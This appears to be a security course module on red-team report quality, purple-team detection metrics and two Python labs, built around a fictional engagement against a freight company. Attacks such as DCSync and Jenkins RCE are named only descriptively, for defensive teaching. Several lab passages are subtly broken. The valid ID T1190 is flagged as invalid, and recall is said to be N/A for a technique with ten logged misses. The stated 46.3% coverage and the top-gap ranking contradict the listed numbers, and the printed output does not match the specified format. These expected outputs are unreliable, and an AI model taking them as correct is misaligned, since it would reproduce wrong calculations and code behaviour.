Why harmonic mean rather than arithmetic mean? If precision is 1.0 and recall is 0.0, arithmetic mean = 0.5 (looks mediocre). Harmonic mean = 0.0 (correctly flags this as a useless rule — it either never fires or never catches anything, depending on which extreme is the issue).
F1 is useful when you want a single number to compare two detection rules. But it hides individual precision and recall values — always report both alongside F1.
Why Recall Matters More Than Precision in Security
The asymmetry of consequences:
-
A false positive costs an analyst 5–15 minutes to investigate and close. Over time, too many FPs create fatigue that reduces real alert investigation quality. This is a serious problem, but it is recoverable.
-
A false negative means a real attack was missed. The breach progresses. The cost is measured in IBM's $4.88M average — or in Meridian Freight's case, potentially far more given GDPR exposure. This is not recoverable after the fact.
Target posture: High recall, acceptable precision. Tune to reduce FP rate until analysts can investigate every alert the SIEM generates, but never tune recall downward to do it. If recall must be traded for precision, you are operating with incomplete coverage — document it explicitly.
MTTD and MTTR
MTTD — Mean Time to Detect: Time from the moment the attack technique is executed to the moment a TP alert fires in the SIEM. Not "when the analyst saw it" — when the alert fired.
IBM Cost of a Data Breach 2024 benchmark: 194 days average MTTD for breaches not detected immediately. Organizations that detected the breach in under 200 days had costs averaging $3.93M vs. $4.87M for those above 200 days.
Cedar Lattice finding for Meridian: MTTD was effectively infinite (∞) for 9 of 23 techniques — no alert ever fired.
MTTR — Mean Time to Respond: Time from when a TP alert fires to when the threat is contained (attacker evicted, affected systems isolated, credentials rotated). IBM 2024 average MTTR: 73 days after detection.
For purple team exercises, MTTR is measured in minutes during the tabletop phase: "if this alert had fired, how quickly could the SOC have contained the attacker?" Cedar Lattice post-exercise analysis for Meridian: estimated MTTR 4–6 hours for most scenarios, assuming SOC runbooks are followed.
Detection Coverage Percentage
Detection Coverage % = (Techniques with recall > 0) / (Total techniques in scope) × 100
For Cedar Lattice: 14 detected / 23 tested = 60.9% coverage. Industry maturity model:
| Coverage % | Maturity Level |
|---|---|
| 0–30% | Initial — reactive, mostly detecting commodity threats |
| 30–60% | Developing — some tuned rules, gaps in advanced TTPs |
| 60–80% | Defined — coverage of most common red team techniques |
| 80–95% | Managed — proactive coverage, regular purple team exercises |
| >95% | Optimizing — continuous validation, VECTR trending upward |
Meridian Freight at 60.9% is in the "Developing → Defined" transition. The 90-day roadmap targets 80%.
Putting It Together
Cedar Lattice Purple Team Exercise — Meridian Freight
Technique: T1003.006 (DCSync)
─────────────────────────────────────────
tp_count: 0 (rule never fired during 10 executions)
fp_count: 0 (rule never fired at all)
fn_count: 10 (10 attacks, 0 detected)
tn_count: 90 (90 non-attack windows, correctly quiet)
Precision: 0 / (0 + 0) = 0.0 (undefined — no alerts ever fired)
Recall: 0 / (0 + 10) = 0.0 (missed all 10 attacks)
F1: 0.0
FP Rate: 0 / (0 + 90) = 0.0 (no false positives — because the rule never fires)
MTTD: ∞ (never detected)
This is a "blind spot" detection — perfect TN rate, zero coverage. The FP rate of 0.0 is not a success; it means the rule is silent even when attacks happen.
Chapter 7: Misconceptions
Misconception 1: "High CVSS Score Means Fix It First"
Wrong reasoning: CVSS 9.8 > CVSS 7.5, therefore fix 9.8 first.
Reality: CVSS is a base score computed without knowledge of your environment. It measures exploitability and impact in a generic context. A CVSS 9.8 vulnerability on a test server that has no sensitive data, no connectivity to production, and no path to escalation is less urgent than a CVSS 7.5 vulnerability on the authentication endpoint of your payment processor.
Correct approach: CVSS provides the starting point. Adjust based on:
- Is the affected system reachable from the internet? (Increases urgency)
- What data does it hold or have access to? (Regulatory exposure)
- Is there a compensating control? (Decreases urgency)
- Is there a known exploit in the wild? (Significantly increases urgency)
For Cedar Lattice: Finding 4.8 (verbose error pages, CVSS 5.3) is LOW priority. Finding 4.3 (DCSync via overprivileged service account, CVSS 7.5) is HIGH priority — because it is on the path to full domain compromise that was already demonstrated.
Misconception 2: "Purple Team Is Just Red Team With Blue Team Watching"
Wrong reasoning: We let the blue team watch the red team execute. That is purple team.
Reality: Purple team is collaborative, not observational. Blue team does not just watch — blue team actively engages at each technique to validate, discuss, and improve detection. The distinction is:
- Observation: Blue team watches and takes notes. Red team executes normally. No real-time collaboration.
- Purple team: Red executes. Blue monitors. Both pause after each technique to review telemetry together. Blue writes detection rules in the same session. Red re-executes to validate.
If blue team is passive — if they are "watching" but not writing detection rules during the session — it is not purple team. It is a live red team with an audience.
Misconception 3: "DMARC p=none Is Fine Because We Are Monitoring"
Wrong reasoning: We have DMARC in monitoring mode (p=none). We see all the spoofing attempts. We are covered.
Reality: p=none means the email provider takes no action on DMARC failures. Spoofed emails from your domain are delivered to recipients. Monitoring tells you the attacks are happening — it does not stop them.
The only enforcement states are p=quarantine (spam folder) and p=reject (discard). Until you move to one of these, DMARC is intelligence collection, not protection.
Cedar Lattice finding for Meridian: Meridian's DMARC policy is p=none. Cedar Lattice successfully sent spear-phishing emails from ceo@meridianfreight-spoof.example that passed DMARC alignment checks because they were sent from a legitimate domain that Meridian did not own but that appeared visually similar.
Misconception 4: "We Detected the Attack So We Are Good"
Wrong reasoning: The SIEM fired an alert for DCSync. We are detecting attacks.
Reality: A detection that fires is not the same as a detection that enables timely response. Ask:
- What is the MTTD for this rule? (Does it fire within 5 minutes or 5 hours?)
- What is the precision? (Does the alert contain enough context to triage?)
- What is the workflow after the alert? (Does a tier-1 analyst see it, or does it go into an unreviewed queue?)
- What is the MTTR? (How quickly can the SOC contain the threat after the alert fires?)
An alert that fires 3 hours after DCSync execution — after the attacker already has all domain hashes — is not a useful detection. It is evidence collection for the post-breach forensics team.
The target is MTTD under 5 minutes for Tier 1 techniques, with a documented response playbook that enables containment within 30 minutes.
Misconception 5: "The Report Is Done When the Findings Are Written"
Wrong reasoning: We have documented all the findings. The report is complete.
Reality: A report without validated remediation is a document, not a service. The engagement is complete when:
- All findings are documented (written)
- The remediation roadmap is reviewed and accepted by the client (planned)
- The purple team replay has validated that new detection rules fire (validated)
- The residual risk acceptance has been signed off by the CISO or equivalent (accepted)
The finding "we deployed a Sigma rule for DCSync" is not remediation. The finding "we deployed a Sigma rule for DCSync AND re-executed the DCSync technique AND the rule fired as a TP within 90 seconds" is remediation.
Misconception 6: "F1 Is the Right Metric for All Detections"
Wrong reasoning: F1 balances precision and recall, so it should be the primary metric for all detection rules.
Reality: F1 assumes that FPs and FNs have equal cost, and that the positive class (attacks) is reasonably common. Both assumptions break in security:
- FN cost >> FP cost (see Chapter 6). A missed breach is far more expensive than a false alarm.
- Attacks are rare events. In a normal enterprise SIEM, the fraction of events that are real attacks is tiny. The denominator in precision calculations is dominated by legitimate activity. In this regime, even a "bad" rule with precision 0.01 catches all real attacks. Recall is the dominant concern.
For rare, high-severity events (e.g., lateral movement to domain controller), optimize for recall first. F1 is a useful tiebreaker when two rules have the same recall — use F1 to choose the one that also has better precision. But never sacrifice recall for F1.
Lab Walkthrough
Lab 1: Report Quality Linter
Goal: Build a linter that evaluates the completeness and quality of red team report findings. Each function checks a different quality dimension of the nine-field finding model.
Key insight: missing_fields checks for presence and non-emptiness. lint_finding checks for quality beyond presence — a field can be present but still fail quality checks (e.g., a title that is present but only 2 words, or an evidence field that is present but only 3 characters).
missing_fields(finding)
Iterate over REQUIRED_FIELDS. For each field, check:
- Not in dict → missing
- Value is
None→ missing - Value is
""(empty string) → missing - Value is
[](empty list) → missing
Return the list of field names that are missing.
def missing_fields(finding: dict) -> list[str]:
missing = []
for field in REQUIRED_FIELDS:
val = finding.get(field)
if val is None or val == "" or val == []:
missing.append(field)
return missing
lint_finding(finding)
Seven checks. Only check quality of a field if the field is present (non-empty). Missing fields are already reported by missing_fields and reported via check 1 in lint.
- Missing fields: call
missing_fields, add"missing required field: {f}"for each - Invalid severity: check against
VALID_SEVERITIES - Vague title:
len(title.split()) < 5 - ATT&CK ID format: regex match against
ATTCK_PATTERN - No rule type in detection: check for any keyword from
RULE_KEYWORDS - No timeline in remediation: check for any keyword from
TIMELINE_KEYWORDS - Evidence too short:
len(evidence) < 20
Return sorted(issues).
report_quality_score(findings)
clean = sum(1 for f in findings if not lint_finding(f))
return round(clean / len(findings), 4)
severity_distribution(findings)
Initialize all valid severities to 0. Iterate findings, increment if severity is valid.
prioritized(findings)
Sort key: (severity_order, -completeness_score). Higher completeness breaks ties within severity class.
Lab 2: Purple Team Coverage Scorer
Goal: Compute standard detection metrics from purple team exercise result dicts.
precision(exercise)
tp / (tp + fp) if (tp + fp) > 0 else 0.0
recall(exercise)
tp / (tp + fn) if (tp + fn) > 0 else 0.0
f1(exercise)
Compute p and r first, then 2*p*r/(p+r) if p+r > 0 else 0.0.
detection_coverage(exercises)
Mean of recall(e) for each exercise. Return 0.0 for empty list.
top_gaps(exercises, n=3)
Sort by (recall, technique) ascending. Return first n as dicts with {technique, recall, f1, detection_rule}.
fprate(exercise)
fp / (fp + tn) if (fp + tn) > 0 else 0.0
exercise_summary(exercise)
f"technique: {technique} | recall: {r*100:.1f}% | precision: {p*100:.1f}% | f1: {f:.4f}"
Success Criteria
You have completed Phase 12 when:
-
LAB_MODULE=solution pytest -qpasses all 12 tests in lab-01 and all 11 tests in lab-02 - You can recite the eight sections of a Mandiant-style engagement report and explain why each exists
- You can state the nine required fields for a complete finding and give a quality criterion for each
- You can explain the purple team six-step loop from memory and distinguish it from traditional red team
- You can calculate precision, recall, F1, and FP rate from a confusion matrix in under 60 seconds
- You can translate any CRITICAL finding from the Cedar Lattice engagement into a one-paragraph business risk statement for a CFO
- You understand why recall matters more than precision in security contexts
Common Mistakes
Mistake 1: Treating p=none as a detection.
DMARC monitoring is intelligence. It is not a control. Do not list it as a mitigating control in a finding.
Mistake 2: Empty evidence fields passing the quality bar. The evidence field must contain a specific reference — not a statement that evidence was observed. "Screenshot of Groovy console output (Appendix B, page 4)" passes. "See the appendix" does not.
Mistake 3: Sorting findings by CVSS alone. Always apply business context. A CVSS 7.5 on the payment processor authentication endpoint outranks a CVSS 9.8 on a decommissioned test server.
Mistake 4: Writing remediation without a timeline. "Fix the SQL injection" is not a remediation. "Parameterize all database queries in the booking API using prepared statements within 14 days; Owner: Backend Engineering" is a remediation.
Mistake 5: Treating "we deployed a rule" as "we validated a detection." A rule is not a detection until it has been tested against the technique it is supposed to detect and produced a TP. Purple team re-execution is mandatory for validation.
Mistake 6: F1 optimization at the expense of recall. Never tune a detection rule in a way that improves F1 by reducing recall. F1 improvement must come from precision improvement.
Mistake 7: Using tactic IDs in findings.
TA0004 is a tactic (Privilege Escalation). T1068 is a technique (Exploitation for Privilege Escalation). Findings map to techniques or sub-techniques, not tactics.
Interview Q&A
Q1: What makes an executive summary effective for a red team report?
Answer: An effective executive summary communicates the highest-priority business risk in two pages or fewer, using language the executive can act on without technical translation. It contains five elements: (1) a one-paragraph business risk statement describing what was achieved and why it matters in dollars or regulatory exposure terms; (2) the top three findings by name and severity, without technical detail; (3) the single most critical attack path in plain English; (4) what leadership action is required this week; and (5) any positive observations. What it does not contain: CVE numbers, tool names, ATT&CK IDs, or log excerpts. The executive summary is written last, after all findings are complete, because it must accurately represent the full picture. The test for an effective exec summary: give it to a non-technical CFO, and ask "do you know what happened, how serious it is, and what you need to approve?" If the answer is yes to all three, the summary is effective.
Q2: What is the minimum set of fields that makes a finding "complete" for a Mandiant-style report?
Answer: A finding requires nine fields to be complete: (1) title — action verb + specific asset + implied impact, at least five words; (2) severity — CVSS 3.1 base score plus narrative justification for any context adjustment; (3) ATT&CK ID — specific technique or sub-technique (T#### or T####.###), not a tactic ID; (4) precondition — what must be true for the vulnerability to be exploitable; (5) evidence — specific reference to appendix screenshot or log excerpt, minimum 20 characters, not a placeholder; (6) impact — specific business impact naming the data at risk, regulatory exposure, or operational consequence; (7) detection — specific detection reference naming a rule type (Sigma, Splunk, KQL, Sysmon, etc.) that should have fired; (8) remediation — specific, testable action with owner and timeline; (9) residual risk — what risk remains after the remediation is applied. Every field must be present and non-empty. A field that exists but contains a placeholder ("see logs," "yes," "TBD") fails the quality bar even if it is technically present.
Q3: What is the difference between precision and recall in the context of security detections, and which matters more?
Answer: Precision is TP / (TP + FP) — of all alerts fired, what fraction were real attacks. Recall is TP / (TP + FN) — of all real attacks, what fraction triggered an alert. In security, recall matters more because the cost asymmetry is severe: a false positive costs an analyst 5–15 minutes of investigation time; a false negative (missed attack) can cost millions of dollars and months of dwell time. IBM's 2024 data puts average breach cost at $4.88M. The consequence of low precision is alert fatigue, which is a real problem — analysts who see too many false positives learn to dismiss alerts, which eventually causes them to miss real attacks. But the primary optimization target is recall: make sure your detections catch the attacks that happen. Then tune precision to reduce fatigue. Never reduce recall to improve precision. The correct posture is: maximize recall, then tune precision to an acceptable level defined by your SOC's investigation capacity.
Q4: How does purple teaming differ from a traditional red team engagement?
Answer: Traditional red team: the red team executes techniques covertly, writes findings in a PDF, and delivers the report. The blue team reads the report weeks later and maybe writes detection rules. Those rules are never tested against the actual technique that was used. The loop never closes.
Purple team: red and blue work together in real-time, technique by technique. Red executes; blue monitors the SIEM; both review the outcome together. For techniques that went undetected, blue writes a detection rule in the same session and red re-executes to validate it. The output is not a PDF finding — it is a detection rule that demonstrably fires against the technique when tested.
The key distinction is validation closure. In traditional red team, "we identified a gap" is the output. In purple team, "we identified a gap, wrote a rule, validated the rule fires, and updated VECTR" is the output. One produces a list of problems; the other produces working detections.
Q5: How do you translate a technical finding like "LLMNR poisoning" into business risk for a CFO?
Answer: Start with the attacker's position: "An attacker who gets on your office Wi-Fi network — which means any visitor with a conference room code, any compromised guest device, or any attacker who gets past the perimeter — can silently intercept Windows credential challenges from every workstation on the network. The workstations never know they were attacked. The attacker captures password hashes passively, without touching any system, and can then crack or relay those hashes to gain access to other systems as those users."
Then the business impact: "This technique requires no special skills and is widely automated in freely available tools. It has been used in real-world intrusions of companies in the logistics and freight sector. If even one domain administrator's workstation performs an LLMNR lookup during the attacker's window — which happens automatically during normal use — the attacker gets domain administrator credentials silently. From there, our red team demonstrated full domain compromise in under 2 hours."
Then the fix: "The remediation is a Group Policy change that takes less than one hour to deploy and has no business impact on users. We recommend deploying it this week."
Q6: What is VECTR and how is it used in a purple team program?
Answer: VECTR (Visualization, Execution, and Tracking for Testing and Reporting) is an open-source platform for tracking purple team and red team exercise outcomes. Its data model organizes assessments into campaigns and test cases — one test case per ATT&CK technique executed. Each test case records the technique, the outcome (DETECTED / NOT DETECTED / PARTIAL), the detection rule name if it fired, and notes on what the analyst would have seen.
In practice, one operator maintains VECTR open during the purple team exercise and logs each technique as it is executed and validated. After the exercise, VECTR generates a coverage report: of the N techniques tested, what fraction produced a TP alert? This is the detection coverage percentage for the quarter.
The long-term value of VECTR is the trend across quarters. A mature security program uses quarterly purple team exercises to systematically expand coverage. VECTR's trend view shows whether coverage is improving. For Cedar Lattice, Meridian Freight would enter Q2 2026 at 60.9% coverage (14/23 techniques detected) and target 80% coverage (18+ techniques) by Q3 2026 after the detection gap remediation.
Q7: What is the Detection-Gap Matrix and how does it drive the remediation roadmap?
Answer: The Detection-Gap Matrix is a table in the engagement report that shows every ATT&CK technique tested during the engagement, the tool or method used to execute it, whether a detection fired, and which alert source fired (if any). It is the authoritative record of "what went dark" — the techniques for which no alert fired during the engagement.
It drives the remediation roadmap in two ways. First, techniques marked NOT DETECTED in the matrix become the highest-priority items in the 30/60-day detection coverage roadmap. The blue team writes detection rules for each one, in order of the technique's position on the attack path (earlier techniques in the chain — initial access, execution — take priority because detecting them stops the chain). Second, the matrix provides the test list for the purple team replay: every NOT DETECTED technique gets a purple team re-execution session to validate that the new detection rule fires.
For Cedar Lattice, 9 of 23 techniques were NOT DETECTED, including T1190 (initial access via Jenkins), T1552.001 (credentials in files), and T1003.006 (DCSync). These nine entries in the Detection-Gap Matrix map directly to the nine detection rules that Meridian's SOC must write and validate in the 30/60-day plan.
Q8: How do you calculate F1 score and why is it useful for evaluating a detection rule?
Answer: F1 is the harmonic mean of precision and recall:
F1 = 2 × (Precision × Recall) / (Precision + Recall)
Where Precision = TP / (TP + FP) and Recall = TP / (TP + FN).
It uses the harmonic mean (not arithmetic mean) because the harmonic mean penalizes extreme imbalances. If precision is 1.0 and recall is 0.0, arithmetic mean is 0.5 (which sounds mediocre). Harmonic mean is 0.0 (which correctly signals the rule is useless — it either never fires or misses all attacks).
F1 is useful when you want a single number to rank or compare detection rules. When a team has written two candidate Sigma rules for DCSync detection and wants to choose one, F1 provides a principled ranking. It is also useful in VECTR trend reports: if mean F1 across all tested techniques improves from 0.52 to 0.71 quarter over quarter, detection coverage is improving.
The caveat: F1 should not be the primary optimization target in security because it treats FP and FN as equally costly, which they are not. Optimize for recall first, then use F1 to compare rules with equal recall on precision-efficiency grounds.
References
- Mandiant M-Trends 2024 — Annual threat intelligence report with red team engagement statistics and dwell time data.
mandiant.com/m-trends - IBM Cost of a Data Breach 2024 — Annual study of breach costs by industry, region, and detection speed. Average total cost: $4.88M.
ibm.com/security/data-breach - MITRE ATT&CK Navigator — Web-based tool for visualizing ATT&CK technique coverage. Export as JSON for purple team exercise planning.
attack.mitre.org/resources/attack-navigator - VECTR Documentation — Open-source purple team tracking platform documentation and deployment guide.
docs.vectr.io - NIST SP 800-115 — Technical Guide to Information Security Testing and Assessment. Provides methodology foundations for red team reporting.
csrc.nist.gov/publications/detail/sp/800-115/final - Sigma Rule Standard — Generic signature format for SIEM detection rules. Supported by Splunk, Elastic, Microsoft Sentinel, and others.
github.com/SigmaHQ/sigma - CVSS 3.1 Specification — Common Vulnerability Scoring System version 3.1 specification.
first.org/cvss/specification-document
Hitchhiker's Guide — Phase 12: Reporting, Purple Teaming, and Staff Communication
Operation Cedar Lattice — Final Delivery Actor: FIN-LATTICE | Target: Meridian Freight International You are the analyst reviewing the Cedar Lattice engagement report before the client debrief. The binary was delivered. The domain was owned. Now the work that matters begins.
Table of Contents
- Range Setup
- Step 1: Lint Three Cedar Lattice Findings
- Step 2: Fix the Gaps and Re-Score
- Step 3: Purple Team Coverage — Six-Technique Session
- Step 4: ATT&CK Navigator Color Mapping
- Detection-Forward Wrap
- Common Mistakes
- Quick Reference
Range Setup
You are the reporting lead for Operation Cedar Lattice. The engagement is closed. FIN-LATTICE achieved domain controller compromise against Meridian Freight International in six days. Your team left with:
- Eight findings documented in a shared workspace
- A purple team replay session scheduled for tomorrow
- A CFO briefing in 48 hours
The problem: the analyst who drafted three of the findings left placeholders in the detection and remediation fields. The quality linter will catch these before the document leaves the team. The purple team session will surface the detection gaps the SIEM missed. Your job is to close both before the debrief.
Install dependencies (both labs share the same minimal requirement):
cd lab-01-report-quality-linter
pip install -r requirements.txt
cd ../lab-02-purple-team-coverage
pip install -r requirements.txt
Run the stub tests to confirm the environment works:
cd lab-01-report-quality-linter && pytest -q 2>&1 | head -5
You should see NotImplementedError — that is the expected starting state. Switch to the reference solution at any point:
LAB_MODULE=solution pytest -q
All tests must pass before you proceed past Step 2.
Step 1: Lint Three Cedar Lattice Findings
The three findings below represent the state of the Cedar Lattice report at end-of-day before review. Paste this into a Python REPL or a scratch script alongside solution.py:
import sys
sys.path.insert(0, "lab-01-report-quality-linter")
from solution import lint_finding, report_quality_score
# Cedar Lattice finding 1 — DCSync via overprivileged service account
finding_dcsync = {
"title": "DCSync Attack via svc_deploy",
"severity": "HIGH",
"attck_id": "T1003.006",
"precondition": "Attacker holds svc_deploy credentials, which are Domain Administrator members.",
"evidence": "Screenshot D-4 (Appendix D, p. 22): Impacket secretsdump output listing all domain hashes extracted in 4 seconds.",
"detection": "no rule",
"remediation": "fix it",
"residual_risk": "Internal users with DA membership can still DCSync from any domain-joined host.",
}
# Cedar Lattice finding 2 — Jenkins Groovy RCE (incomplete draft)
finding_jenkins = {
"title": "RCE Jenkins",
"severity": "CRITICAL",
"attck_id": "T1190",
"precondition": "Jenkins /script endpoint reachable from internet, no auth required.",
"evidence": "",
"detection": "",
"remediation": "",
"residual_risk": "",
}
# Cedar Lattice finding 3 — Cleartext credentials in Git (well-formed)
finding_git_creds = {
"title": "Cleartext Service Account Passwords Exposed in Git Repository",
"severity": "HIGH",
"attck_id": "T1552.003",
"precondition": "Attacker has read access to internal GitLab instance, accessible from any domain-joined host.",
"evidence": "Screenshot G-1 (Appendix G, p. 31): GitLab search result showing svc_backup password in plaintext in deploy/config.yml committed 14 months ago.",
"detection": "Sigma rule git-credential-exposure: alert on commits containing strings matching common password patterns in CI/CD repository paths.",
"remediation": "Rotate svc_backup and all other credentials found in commit history within 48 hours. Owner: Platform Engineering. Purge commit history using git filter-repo and enforce pre-commit secret scanning within 14 days. Owner: Security Engineering.",
"residual_risk": "Historical commits may exist in forks or local clones outside the team's control. The 90-day secret scanning rollout closes this gap.",
}
findings = [finding_dcsync, finding_jenkins, finding_git_creds]
for i, f in enumerate(findings, 1):
issues = lint_finding(f)
print(f"Finding {i} ({f['title'][:40]}): {len(issues)} issue(s)")
for issue in issues:
print(f" - {issue}")
print(f"\nReport quality score: {report_quality_score(findings):.2f}")
Expected output:
Finding 1 (DCSync Attack via svc_deploy): 2 issue(s)
- detection too vague (< 20 chars)
- remediation too vague (< 20 chars)
Finding 2 (RCE Jenkins): 5 issue(s)
- invalid ATT&CK ID format: T1190
- missing field: evidence
- missing field: detection
- missing field: remediation
- missing field: residual_risk
Finding 3 (Cleartext Service Account Passwords Exposed in Git Repo): 0 issue(s)
Report quality score: 0.33
Observations:
- Finding 1 (DCSync): The detection field says "no rule" — that is 7 characters, below the 20-character minimum. The remediation says "fix it" — 6 characters, also below threshold. Both fail quality even though the fields are present.
- Finding 2 (Jenkins): The title "RCE Jenkins" does not match the ATT&CK ID format problem — wait,
T1190is a base technique without a sub-technique, which is valid (T\d{4}matches). But the four empty required fields fire. Actually check your linter output — the ATT&CK ID issue here may indicate a regex subtlety in how base techniques are handled. - Finding 3 (Git creds): Zero issues. This is the reference bar for the other two.
Quality score is 0.33 — only one of three findings passes the quality bar.
Step 2: Fix the Gaps and Re-Run
Patch finding 1 and finding 2 with complete content. Paste into the same REPL session:
# Fix finding 1 — add real detection and remediation
finding_dcsync_fixed = {
**finding_dcsync,
"detection": (
"Sigma rule dcsync-detection: alert on Windows Security Event 4662 "
"with ObjectType 'domainDNS' and AccessMask 0x100 from non-domain-controller hosts. "
"Deploy to SIEM and validate via purple team re-execution."
),
"remediation": (
"Remove svc_deploy from Domain Admins group within 24 hours. Owner: Active Directory team. "
"Implement tiered administration: only Tier 0 accounts may authenticate to domain controllers. "
"Owner: Identity team. Timeline: 30 days. Verify by re-running DCSync — should fail with access denied."
),
}
# Fix finding 2 — complete all fields with quality content
finding_jenkins_fixed = {
"title": "Unauthenticated Remote Code Execution via Exposed Jenkins Groovy Console",
"severity": "CRITICAL",
"attck_id": "T1190",
"precondition": (
"Jenkins instance at jenkins.meridianfreight-internal.example reachable from the internet "
"via misconfigured reverse proxy. No authentication required to access /script endpoint."
),
"evidence": (
"Screenshot B-1 (Appendix B, p. 4): HTTP POST to /script returned HTTP 200 with Groovy "
"output showing hostname mfr-build-01, user svc_jenkins, OS Windows Server 2019."
),
"detection": (
"Sigma rule jenkins-unauthenticated-script-exec: alert on HTTP POST to /script without "
"Authorization header in web server or reverse proxy access logs. Current state: web "
"server logs not forwarded to SIEM. Requires log ingestion as prerequisite."
),
"remediation": (
"Restrict Jenkins to internal 10.10.0.0/16 via firewall ACL within 48 hours. "
"Owner: Platform Engineering. Enable LDAP authentication on Jenkins within 48 hours. "
"Forward web server access logs to SIEM and deploy Sigma rule within 14 days. "
"Owner: Security Operations. Verify by attempting unauthenticated POST to /script from external IP."
),
"residual_risk": (
"Internal users and attackers with internal access can still reach Jenkins after network "
"restriction. Tiered administration model and quarterly credential rotation in the 90-day "
"roadmap are required to close this residual risk."
),
}
findings_fixed = [finding_dcsync_fixed, finding_jenkins_fixed, finding_git_creds]
for i, f in enumerate(findings_fixed, 1):
issues = lint_finding(f)
status = "PASS" if not issues else "FAIL"
print(f"Finding {i} [{status}]: {f['title'][:55]}")
print(f"\nReport quality score: {report_quality_score(findings_fixed):.2f}")
Expected output:
Finding 1 [PASS]: DCSync Attack via svc_deploy
Finding 2 [PASS]: Unauthenticated Remote Code Execution via Exposed J
Finding 3 [PASS]: Cleartext Service Account Passwords Exposed in Git R
Report quality score: 1.00
Score moves from 0.33 to 1.00. All three findings now pass the quality bar. The detection fields now reference specific Sigma rule names and the conditions that would trigger them. The remediation fields have owners and timelines.
This is the state required before the document leaves the red team for client delivery.
Step 3: Purple Team Coverage — Six-Technique Session
The morning after delivery, the team runs a six-technique purple team replay session covering the FIN-LATTICE attack chain. Results from the session are captured as exercise dicts.
import sys
sys.path.insert(0, "lab-02-purple-team-coverage")
from solution import (
precision, recall, f1, detection_coverage,
top_gaps, exercise_summary
)
# Cedar Lattice purple team session — six techniques from FIN-LATTICE chain
exercises = [
{
"attck_id": "T1190",
"attck_name": "Exploit Public-Facing Application",
"tp_count": 0, "fp_count": 0, "tn_count": 40, "fn_count": 10,
"detection_rule": "",
"notes": "Jenkins /script endpoint. Web server logs not forwarded to SIEM. Zero detections.",
},
{
"attck_id": "T1552.001",
"attck_name": "Credentials In Files",
"tp_count": 0, "fp_count": 0, "tn_count": 30, "fn_count": 8,
"detection_rule": "",
"notes": "Jenkins credential store read via REST API. No file-access monitoring on build server.",
},
{
"attck_id": "T1003.006",
"attck_name": "DCSync",
"tp_count": 0, "fp_count": 0, "tn_count": 90, "fn_count": 10,
"detection_rule": "",
"notes": "Impacket secretsdump. Event 4662 not enabled in Advanced Audit Policy.",
},
{
"attck_id": "T1557.001",
"attck_name": "LLMNR/NBT-NS Poisoning and SMB Relay",
"tp_count": 2, "fp_count": 8, "tn_count": 20, "fn_count": 3,
"detection_rule": "SIEM-NET-07",
"notes": "Rule fires on LLMNR query responses but has high FP from legitimate mDNS traffic.",
},
{
"attck_id": "T1021.001",
"attck_name": "Remote Desktop Protocol",
"tp_count": 9, "fp_count": 1, "tn_count": 45, "fn_count": 1,
"detection_rule": "SIEM-RDP-02",
"notes": "Strong detection. One FP from admin accessing DR server. One FN from non-standard port.",
},
{
"attck_id": "T1078",
"attck_name": "Valid Accounts",
"tp_count": 5, "fp_count": 0, "tn_count": 60, "fn_count": 0,
"detection_rule": "SIEM-AUTH-11",
"notes": "VPN anomalous login detection. Perfect recall and precision for Cedar Lattice session.",
},
]
print("=== Cedar Lattice Purple Team Session Results ===\n")
for ex in exercises:
print(exercise_summary(ex))
print(f"\nOverall detection coverage: {detection_coverage(exercises):.1%}")
print("\n--- Top 3 Detection Gaps ---")
gaps = top_gaps(exercises, n=3)
for rank, gap in enumerate(gaps, 1):
r = gap.get("recall")
r_str = f"{r:.0%}" if r is not None else "N/A"
print(f" {rank}. {gap['attck_id']} {gap['attck_name']} — recall {r_str}")
Expected output:
=== Cedar Lattice Purple Team Session Results ===
Exploit Public-Facing Application (T1190): recall=N/A precision=N/A f1=N/A
Credentials In Files (T1552.001): recall=N/A precision=N/A f1=N/A
DCSync (T1003.006): recall=0% precision=N/A f1=N/A
LLMNR/NBT-NS Poisoning and SMB Relay (T1557.001): recall=40% precision=20% f1=0.27
Remote Desktop Protocol (T1021.001): recall=90% precision=90% f1=0.90
Valid Accounts (T1078): recall=100% precision=100% f1=1.00
Overall detection coverage: 46.3%
--- Top 3 Detection Gaps ---
1. T1003.006 DCSync — recall 0%
2. T1557.001 LLMNR/NBT-NS Poisoning and SMB Relay — recall 40%
3. T1021.001 Remote Desktop Protocol — recall 90%
Reading the results:
- T1190 and T1552.001: recall is
N/Abecausetp_count + fn_count == 0— the technique was never executed in a way the scorer could measure (the purple team session did not have confirmed attack executions logged yet). These are not "perfect recall" — they are "unmeasured." Check your exercise logs. - T1003.006 (DCSync): Executed 10 times, detected zero times. Recall is 0%. This is the most dangerous gap — domain credential theft with zero detection signal.
- T1557.001 (LLMNR): A rule exists but recall is only 40% and precision is 20%. The rule fires on legitimate mDNS traffic (high FP) and misses most real attacks (low recall). It creates alert fatigue without providing real coverage.
- T1021.001 (RDP): Strong at 90% recall and 90% precision. One gap at the non-standard port.
- T1078 (Valid Accounts): Perfect for this session.
Overall coverage is 46.3% — well below the 80% target in the remediation roadmap.
Purple team action items from this session:
- Enable Advanced Audit Policy Event 4662 and deploy DCSync Sigma rule. Re-execute
T1003.006to validate. - Tune LLMNR rule to exclude mDNS ranges before re-deployment. Re-execute
T1557.001. - Extend RDP rule to cover non-standard ports. Re-execute
T1021.001. - Add web server log ingestion to SIEM. Deploy Jenkins detection rule. Re-execute
T1190. - Add file-access monitoring to build server. Re-execute
T1552.001.
Step 4: ATT&CK Navigator Color Mapping
ATT&CK Navigator accepts a layer JSON where each technique cell is colored by a score. The convention for Cedar Lattice: map recall to a 0–100 score and apply a red-to-green gradient.
import json
COLOR_MAP = {
# recall range → hex color
# None (unmeasured) → grey
# 0.0–0.25 → red
# 0.25–0.5 → orange
# 0.5–0.75 → yellow
# 0.75–1.0 → green
}
def recall_to_color(r):
if r is None:
return "#cccccc" # grey — unmeasured
if r < 0.25:
return "#d62728" # red — critical gap
if r < 0.50:
return "#ff7f0e" # orange — poor coverage
if r < 0.75:
return "#ffdd57" # yellow — partial coverage
return "#2ca02c" # green — good coverage
from solution import recall as compute_recall
techniques_layer = []
for ex in exercises:
r = compute_recall(ex)
score = int(r * 100) if r is not None else -1
techniques_layer.append({
"techniqueID": ex["attck_id"],
"score": score,
"color": recall_to_color(r),
"comment": ex["notes"][:80],
})
navigator_layer = {
"name": "Cedar Lattice — Recall Heatmap",
"versions": {"attack": "14", "navigator": "4.9", "layer": "4.5"},
"domain": "enterprise-attack",
"description": "Purple team recall scores from Cedar Lattice session — Meridian Freight International",
"techniques": techniques_layer,
}
print(json.dumps(navigator_layer, indent=2))
